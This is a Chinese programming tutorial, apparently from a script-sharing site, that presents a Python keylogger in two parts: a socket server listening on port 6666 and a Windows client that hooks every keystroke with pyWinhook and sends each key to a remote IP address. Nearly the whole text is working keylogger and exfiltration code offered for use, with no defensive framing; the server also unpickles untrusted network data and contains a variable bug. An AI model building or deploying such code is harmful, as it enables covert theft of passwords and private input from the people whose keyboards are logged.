python實(shí)現(xiàn)監(jiān)聽鍵盤,供大家參考,具體內(nèi)容如下實(shí)現(xiàn)服務(wù)端
import pickle
from io import BytesIO
import socket
#接收數(shù)據(jù)
def Server_Recive(ip,port):
socket_obj = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
socket_obj.bind((ip,port))
socket_obj.listen(5)
file = 1
while True:
connection,address = socket_obj.accept()
#接受的數(shù)據(jù)
recieved_message = b''
recieved_message_fragment = connection.recv(1024)
while recieved_message_fragment:
recieved_message += recieved_message_fragment
recieved_message_fragment = connection.recv(1024)
try:
obj = pickle.loads(recieved_message)
print(obj['Key'],end=' ')
except EOFError:
file_name = 'recv_image_' + str(file_on) + '.bmp'
recv_image = open(file_name,'wb')
recv_image.write(recieved_message)
file_on += 1
connection.close()
if __name__ == '__main__':
Server_IP = '0.0.0.0'
Server_Port = 6666
Server_Recive(Server_IP,Server_Port)
鍵盤監(jiān)聽程序
#鍵盤監(jiān)聽
import pythoncom,pyWinhook,pickle,socket
from io import BytesIO
def Client_PIC(ip,port,obj):
try:
msg = pickle.dumps(obj)
send_message = BytesIO(msg)
send_message_fragment = send_message.read(1024)
except:
send_message = obj
send_message_fragment = send_message.read(1024)
socket_obj = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
socket_obj.connect((ip,port))
while send_message_fragment:
socket_obj.send(send_message_fragment)
send_message_fragment = send_message.read(1024)
socket_obj.close()
def OnkeyBoardEvent(event):
dict_key = {}
dict_key['MessageName'] = event.MessageName
dict_key['Key'] = event.Key
Client_PIC('你自己的ip地址',6666,dict_key)
return True
def Keylogger():
hm = pyWinhook.HookManager()
hm.KeyDown = OnkeyBoardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()
if __name__ == '__main__':
Keylogger()
其中的pythoncom,pyWinhook百度查找安裝方法,在此不贅述
運(yùn)行(先運(yùn)行服務(wù)端,而后運(yùn)行監(jiān)聽程序)
以上就是本文的全部內(nèi)容,希望對(duì)大家的學(xué)習(xí)有所幫助,也希望大家多多支持腳本之家。
您可能感興趣的文章:- python使用pynput庫操作、監(jiān)控你的鼠標(biāo)和鍵盤
- 詳解Python中Pygame鍵盤事件
- Python鍵盤輸入轉(zhuǎn)換為列表的實(shí)例
- Python控制鼠標(biāo)鍵盤代碼實(shí)例
- python只需30行代碼就能記錄鍵盤的一舉一動(dòng)